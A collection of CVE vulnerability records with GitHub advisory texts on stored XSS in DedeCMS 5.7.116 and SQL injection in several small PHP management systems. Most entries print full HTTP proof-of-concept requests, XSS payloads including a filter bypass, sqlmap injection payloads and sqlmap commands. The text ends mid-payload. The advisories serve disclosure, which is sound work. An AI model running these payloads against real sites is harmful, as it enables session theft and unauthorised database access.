# Summary DedeCMS V5.7.116 is affected by a stored cross-site scripting vulnerability that can be exploited by an attacker to upload a malicious SWF file, which can lead to XSS attacks. This vulnerability exists due to insufficient input validation and sanitization of user-supplied data. # Details Log in and go to http://target-ip/member/uploads_add.php to upload the xss payload in .swf file. ![image](https://github.com/user-attachments/assets/caab7373-9560-47cc-9b84-79f56ef5ef32) Intercept the upload request and change the `mediatype` parameter in the request to `2`. ![image](https://github.com/user-attachments/assets/da7b9fcb-d199-42be-978a-679fd0efbd60) Observe the response, which should include a URL similar to `/uploads/userup/1/XXXX.swf`. ![image](https://github.com/user-attachments/assets/6e75ae88-6d2e-4311-9c1c-46e9b21cd947) Access the provided URL to trigger the XSS vulnerability. ![image](https://github.com/user-attachments/assets/f428174a-dc4a-46d2-9978-b6446dad5b2e) # POC ``` POST /member/uploads_add.php HTTP/1.1 Host: target-ip Content-Length: 963 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfRghPB9M7esxjc3h Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: [users'cookie] Connection: keep-alive ------WebKitFormBoundaryfRghPB9M7esxjc3h Content-Disposition: form-data; name="f" ------WebKitFormBoundaryfRghPB9M7esxjc3h Content-Disposition: form-data; name="mediatype" 2 ------WebKitFormBoundaryfRghPB9M7esxjc3h Content-Disposition: form-data; name="keyword" ------WebKitFormBoundaryfRghPB9M7esxjc3h Content-Disposition: form-data; name="dopost" save ------WebKitFormBoundaryfRghPB9M7esxjc3h Content-Disposition: form-data; name="title" 123 ------WebKitFormBoundaryfRghPB9M7esxjc3h Content-Disposition: form-data; name="addonfile"; filename="xsstest.swf" Content-Type: application/x-shockwave-flash [xss payload in swf] ------WebKitFormBoundaryfRghPB9M7esxjc3h-- ```

DedeCMS V5.7.116 Stored XSS Vulnerability

https://api.github.com/repos/Hebing123/cve/issues/77/comments

1

2024-11-27T08:15:37Z

2024-12-06T02:29:05Z

https://github.com/Hebing123/cve/issues/77

2,697,588,984

77

6,436

CVE-2024-12182

2024-12-04T23:15:04.703

A vulnerability, which was classified as problematic, has been found in DedeCMS 5.7.116. Affected by this issue is some unknown functionality of the file /member/soft_add.php. The manipulation of the argument body leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

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79

https://github.com/Hebing123/cve/issues/78

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github.com

[ "Hebing123", "cve" ]

# Summary A stored Cross-Site Scripting (XSS) vulnerability has been identified in the DedeCMS V5.7.116 content management system. The vulnerability exists due to insufficient filtering of the `body` parameter in the `/member/soft_add.php` script. This issue allows an attacker to inject malicious scripts into software information pages, potentially compromising the security of the website and its users. ![image](https://github.com/user-attachments/assets/5695ea35-1c24-4253-ab4a-16b9fdef7168) # Details The vulnerability is present in the /member/soft_add.php script, which does not adequately sanitize the body parameter. An attacker with the ability to register as a member and publish soft can exploit this flaw by injecting malicious scripts into the soft content. These scripts can be executed when other users view the compromised soft. ![image](https://github.com/user-attachments/assets/02dac8f3-5c10-4c79-94e5-8e1e21c78c19) # Proof of Concept (POC) ``` POST /member/soft_add.php HTTP/1.1 Host: target-ip Content-Length: 2657 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoNgLBRDOkaHmDGvr Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: [users'cookie] Connection: keep-alive ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="dopost" save ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="channelid" 3 ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="title" test soft ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="tags" test ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="writer" test ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="filetype" .exe ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="language" 简体中文 ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="softtype" 国产软件 ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="accredit" 共享软件 ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="os" Win2003,WinXP,Win2000,Win9X ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="softrank" 3 ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="officialDemo" ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="officialUrl" http:// ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="softsize" ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="unit" MB ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="source" ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="typeid" 18 ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="needmoney" 0 ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="litpic"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="dede_addonfields" ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="dede_fieldshash" [users'fieldshash] ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="body" <p>asd</p><svg/onload=alert(document.cookie)> ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="softurl1" ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="servermsg1" 本地下载 ------WebKitFormBoundaryoNgLBRDOkaHmDGvr Content-Disposition: form-data; name="picnum" 5 ------WebKitFormBoundaryoNgLBRDOkaHmDGvr-- ```

DedeCMS V5.7.116 Stored XSS Vulnerability

https://api.github.com/repos/Hebing123/cve/issues/78/comments

1

2024-11-27T09:33:27Z

2024-12-06T02:29:22Z

https://github.com/Hebing123/cve/issues/78

2,697,823,090

78

6,437

CVE-2024-12183

2024-12-04T23:15:05.760

A vulnerability, which was classified as problematic, was found in DedeCMS 5.7.116. This affects the function RemoveXSS of the file /plus/carbuyaction.php of the component HTTP POST Request Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

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[ "79" ]

79

https://github.com/Hebing123/cve/issues/79

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Hebing123", "cve" ]

# Summary A stored XSS vulnerability has been identified in DedeCMS V5.7.116. Attackers can exploit this vulnerability by maliciously inserting an XSS payload in the comment section during the purchase of goods. # Details The vulnerability is located in the file `plus/carbuyaction.php`. Our analysis indicates that all parameters are passed through the `RemoveXSS` method. ![image](https://github.com/user-attachments/assets/0f12ebae-2481-423f-bb24-e8d48e3e53fc) However, our payload can bypass the `RemoveXSS` method's filtering for XSS vulnerabilities, thus any script that relies solely on the `RemoveXSS` method to filter parameter values and displays these values on the page is vulnerable. ![image](https://github.com/user-attachments/assets/881c3ab3-c249-406e-80ab-d00f41f1b016) ## Steps The attacker, posing as a regular user, purchases goods and adds a malicious comment. ![image](https://github.com/user-attachments/assets/d0337eb4-17c8-4e50-9119-7ac146003e6d) An administrator opens the order details in the backend, triggering the stored XSS vulnerability. ![image](https://github.com/user-attachments/assets/0865da54-8b23-4746-8f11-ebd11b9d867f) # POC ``` POST /plus/carbuyaction.php HTTP/1.1 Host: target-ip Content-Length: 168 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: [users'cookie] Connection: keep-alive do=clickout&pid=1&paytype=1&address=test<body%20onpointermove="alert(document.cookie)">&postname=test&email=test%40qq.com&tel=13263888888&zip=300033&des=123&vdcode=0000 ``` Parameters that are vulnerable: `des`, `postname`, `email`, `address`. It is worth noting that some parameters may have maximum length restrictions. We provide a proof of concept that can bypass the RemoveXSS method: ``` <body onpointermove="alert(document.cookie)"> ``` Of course, we can also bring in external js scripts by modifying the xss payload. ![image](https://github.com/user-attachments/assets/02e67d79-4128-4ee6-a42a-228db076ff48)

DedeCMS V5.7.116 Stored XSS Vulnerability

https://api.github.com/repos/Hebing123/cve/issues/79/comments

1

2024-11-28T03:04:01Z

2024-12-06T02:29:41Z

https://github.com/Hebing123/cve/issues/79

2,700,547,563

79

6,438

CVE-2024-12187

2024-12-05T01:15:04.740

A vulnerability was found in 1000 Projects Library Management System 1.0. It has been classified as critical. Affected is an unknown function of the file /showbook.php. The manipulation of the argument q leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://1000projects.org/" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/PunyHunter/CVE/issues/1" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?ctiid.286908" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?id.286908" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?submit.455058" } ]

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[ "89" ]

89

https://github.com/PunyHunter/CVE/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "PunyHunter", "CVE" ]

# 1000projects Library Management System BCA 4th Semester Minor Project using SQL and PHP V1.0 /showbook.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Library Management System BCA 4th Semester Minor Project using SQL and PHP ## Vendor Homepage - [homepage](https://1000projects.org/library-management-system-bca-4th-semester-minor-project.html) # AFFECTED AND/OR FIXED VERSION(S) ## submitter - punnyhunter ## Vulnerable File - /showbook.php ## VERSION(S) - V1.0 ## Software Link - [Download Source Code](https://1000projects.org/wp-content/uploads/2022/11/Library-Management-System.7z) # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/showbook.php' file of the 'Library Management System BCA 4th Semester Minor Project using SQL and PHP' project. The reason for this issue is that attackers inject malicious code from the parameter ''q' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Library Management System BCA 4th Semester Minor Project using SQL and PHP", punnyhunter discovered a critical SQL injection vulnerability in the "/showbook.php" file. This vulnerability stems from insufficient user input validation of the ''q' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - ''q' parameter ## Payload: ```coffeescript Parameter: q (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: q=-1716%' OR 4557=4557 AND 'fCWh%'='fCWh Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: q=1111111%' OR (SELECT 7077 FROM(SELECT COUNT(*),CONCAT(0x7171707071,(SELECT (ELT(7077=7077,1))),0x7171767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'FMXq%'='FMXq Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: q=1111111%' AND (SELECT 7350 FROM (SELECT(SLEEP(5)))VGuF) AND 'mcIO%'='mcIO Type: UNION query Title: MySQL UNION query (NULL) - 7 columns Payload: q=1111111%' UNION ALL SELECT NULL,CONCAT(0x7171707071,0x6a5a7571715367564270574e6644624f6a576762597a706b564f444641517a4553766b434448456b,0x7171767871),NULL,NULL,NULL,NULL,NULL# ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```coffeescript sqlmap -u "10.211.55.6:1115/showbook.php?q=1111111" --cookie="PHPSESSID=n5c2rabr3v9o554j8suckrqqp4" --batch --level=5 --risk=3 --dbms=mysql --dbs --random-agent --tamper=space2comment ``` <img width="1141" alt="image" src="https://github.com/user-attachments/assets/03a6018b-79f8-4452-a214-16af27557ff2"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Library Management System BCA 4th Semester Minor Project using SQL and PHP V1.0 /showbook.php SQL injection

https://api.github.com/repos/PunyHunter/CVE/issues/1/comments

0

2024-12-02T08:57:35Z

https://github.com/PunyHunter/CVE/issues/1

2,711,114,017

1

6,439

CVE-2024-12188

2024-12-05T01:15:04.943

A vulnerability was found in 1000 Projects Library Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /brains/stu.php. The manipulation of the argument useri leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/SkGoing/CVE-repo_00/issues/4

[ "Exploit", "Third Party Advisory" ]

github.com

[ "SkGoing", "CVE-repo_00" ]

# 1000projects Library Management System BCA 4th Semester Minor Project using SQL and PHP V1.0 /brains/stu.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Library Management System BCA 4th Semester Minor Project using SQL and PHP ## Vendor Homepage - [homepage](https://1000projects.org/library-management-system-bca-4th-semester-minor-project.html) # AFFECTED AND/OR FIXED VERSION(S) ## submitter - [SkGoing](https://github.com/SkGoing) ## Vulnerable File - /brains/stu.php ## VERSION(S) - V1.0 ## Software Link - [Download Source Code](https://1000projects.org/wp-content/uploads/2022/11/Library-Management-System.7z) # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/brains/stu.php' file of the 'Library Management System BCA 4th Semester Minor Project using SQL and PHP' project. The reason for this issue is that attackers inject malicious code from the parameter 'useri' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Library Management System BCA 4th Semester Minor Project using SQL and PHP", [SkGoing](https://github.com/SkGoing) discovered a critical SQL injection vulnerability in the "/brains/stu.php" file. This vulnerability stems from insufficient user input validation of the 'useri' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - 'useri' parameter ## Payload: ```coffeescript Parameter: useri (POST) Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: useri=11111 OR (SELECT 8634 FROM(SELECT COUNT(*),CONCAT(0x7162716b71,(SELECT (ELT(8634=8634,1))),0x717a717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# tgjb&passw=11111 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: useri=11111 AND (SELECT 4344 FROM (SELECT(SLEEP(5)))DwmW)# HNcz&passw=11111 ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```coffeescript sqlmap -u "10.211.55.6:1115/brains/stu.php" --cookie="PHPSESSID=n5c2rabr3v9o554j8suckrqqp4" --data="useri=1111&passw=adasdas" --batch --level=5 --risk=3 --dbms=mysql --dbs --random-agent ``` <img width="1119" alt="image" src="https://github.com/user-attachments/assets/8e88fde1-041b-4fe1-9ea8-543821e598ff"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Library Management System BCA 4th Semester Minor Project using SQL and PHP V1.0 /brains/stu.php SQL injection

https://api.github.com/repos/SkGoing/CVE-repo_00/issues/4/comments

0

2024-12-02T09:10:17Z

2024-12-02T09:10:18Z

https://github.com/SkGoing/CVE-repo_00/issues/4

2,711,146,439

4

6,440

CVE-2024-12228

2024-12-05T14:15:20.123

A vulnerability classified as critical has been found in PHPGurukul Complaint Management System 1.0. Affected is an unknown function of the file /admin/user-search.php. The manipulation of the argument search leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/PunyHunter/CVE/issues/2" }, { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://phpgurukul.com/" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.286974" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.286974" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.455059" } ]

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[ "89" ]

89

https://github.com/PunyHunter/CVE/issues/2

[ "Exploit", "Third Party Advisory" ]

github.com

[ "PunyHunter", "CVE" ]

# Phpgurukul Complaint Management system V1.0 /admin/user-search.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Complaint Management system ## Vendor Homepage - https://phpgurukul.com/complaint-management-sytem/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter - punnyhunter ## Vulnerable File - /admin/user-search.php ## VERSION(S) - V1.0 ## Software Link - https://phpgurukul.com/wp-content/uploads/2017/12/Complaint-Management-System-PHP.zip # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/admin/user-search.php' file of the 'Complaint Management system' project. The reason for this issue is that attackers inject malicious code from the parameter 'search' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Complaint Management system",punnyhunter discovered a critical SQL injection vulnerability in the "/admin/user-search.php" file. This vulnerability stems from insufficient user input validation of the 'search' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - 'search' parameter ## Payload: ```makefile Parameter: search (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: search=111%' AND 3377=3377 AND 'EIJZ%'='EIJZ&submit= Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: search=111%' AND (SELECT 6777 FROM(SELECT COUNT(*),CONCAT(0x7178787871,(SELECT (ELT(6777=6777,1))),0x716a786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'NoqC%'='NoqC&submit= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: search=111%' AND (SELECT 6798 FROM (SELECT(SLEEP(5)))yNjg) AND 'sVLc%'='sVLc&submit= Type: UNION query Title: MySQL UNION query (NULL) - 13 columns Payload: search=111%' UNION ALL SELECT NULL,CONCAT(0x7178787871,0x7647547571614b5857597757656b6b764279596e66676a726d52614367676b54414a7657537a4652,0x716a786271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&submit= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap.py -u "192.168.134.167:1111/admin/user-search.php" --data="search=111&submit=" --batch --level=5 --risk=3 --dbms=mysql --random-agent --tamper=space2comment --dbs ``` - ![image](https://github.com/user-attachments/assets/daa69765-024e-4372-a7bf-a4b51c50588e) # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Phpgurukul Complaint Management system V1.0 /admin/user-search.php SQL injection

https://api.github.com/repos/PunyHunter/CVE/issues/2/comments

0

2024-12-02T09:00:54Z

https://github.com/PunyHunter/CVE/issues/2

2,711,122,865

2

6,441

CVE-2024-12229

2024-12-05T15:15:09.050

A vulnerability classified as critical was found in PHPGurukul Complaint Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /admin/complaint-search.php. The manipulation of the argument search leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/qiyes233/CVE/issues/1" }, { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://phpgurukul.com/" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.286975" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.286975" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.455065" } ]

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[ "89" ]

89

https://github.com/qiyes233/CVE/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "qiyes233", "CVE" ]

# Phpgurukul Complaint Management system V1.0 /admin/complaint-search.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Complaint Management system ## Vendor Homepage - https://phpgurukul.com/complaint-management-sytem/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter - qiye ## Vulnerable File - /admin/complaint-search.php ## VERSION(S) - V1.0 ## Software Link - https://phpgurukul.com/wp-content/uploads/2017/12/Complaint-Management-System-PHP.zip # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/admin/complaint-search.php' file of the 'Complaint Management system' project. The reason for this issue is that attackers inject malicious code from the parameter 'search ' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Complaint Management system", qiye discovered a critical SQL injection vulnerability in the "/admin/complaint-search.php" file. This vulnerability stems from insufficient user input validation of the 'search ' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - 'search ' parameter ## Payload: ```makefile Parameter: search (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: search=-1001%' OR 2272=2272 AND 'djWp%'='djWp&submit= Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: search=qqq%' OR (SELECT 1321 FROM(SELECT COUNT(*),CONCAT(0x716b707871,(SELECT (ELT(1321=1321,1))),0x716b626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'PDpS%'='PDpS&submit= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: search=qqq%' AND (SELECT 2116 FROM (SELECT(SLEEP(5)))LExc) AND 'zexQ%'='zexQ&submit= Type: UNION query Title: MySQL UNION query (NULL) - 13 columns Payload: search=qqq%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b707871,0x41686c66484f6a7173416e61657677596f75774a4277697057586b4b75484f6f7a66756a52795965,0x716b626a71),NULL,NULL,NULL#&submit= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap.py -u "192.168.134.167:1111/admin/complaint-search.php" --data="search=111&submit=" --batch --level=5 --risk=3 --dbms=mysql --random-agent --tamper=space2comment --dbs ``` - ![image](https://github.com/user-attachments/assets/be9d097c-9e3d-44a6-a845-1bdfc6ef800f) # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Phpgurukul Complaint Management system V1.0 /admin/complaint-search.php SQL injection

https://api.github.com/repos/qiyes233/CVE/issues/1/comments

0

2024-12-02T09:20:57Z

https://github.com/qiyes233/CVE/issues/1

2,711,169,928

1

6,442

CVE-2024-12231

2024-12-05T16:15:24.933

A vulnerability, which was classified as critical, was found in CodeZips Project Management System 1.0. This affects an unknown part of the file /index.php. The manipulation of the argument email leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/SkGoing/CVE-repo_00/issues/3" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.286977" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.286977" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.455060" } ]

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[ "89" ]

89

https://github.com/SkGoing/CVE-repo_00/issues/3

[ "Exploit", "Third Party Advisory" ]

github.com

[ "SkGoing", "CVE-repo_00" ]

# CodeZips Project Management System In PHP And MYSQL With Source Code V1.0 /index.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Project Management System In PHP And MYSQL With Source Code ## Vendor Homepage - [homepage](https://codezips.com/php/project-management-system-in-php-and-mysql-with-source-code/) # AFFECTED AND/OR FIXED VERSION(S) ## submitter - [SkGoing](https://github.com/SkGoing) ## Vulnerable File - /index.php ## VERSION(S) - V1.0 ## Software Link - [Download Source Code](https://codeload.github.com/codezips/project-management-system-php-mysql/zip/master) # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/index.php' file of the 'Project Management System In PHP And MYSQL With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter 'email' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Project Management System In PHP And MYSQL With Source Code", [SkGoing](https://github.com/SkGoing) discovered a critical SQL injection vulnerability in the "/index.php" file. This vulnerability stems from insufficient user input validation of the 'email' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - 'email' parameter ## Payload: ```coffeescript Parameter: email (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: email=-1697' OR 3194=3194-- oxDQ&password=123456&login= Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: email=12@qq.com' OR (SELECT 8405 FROM(SELECT COUNT(*),CONCAT(0x71717a6b71,(SELECT 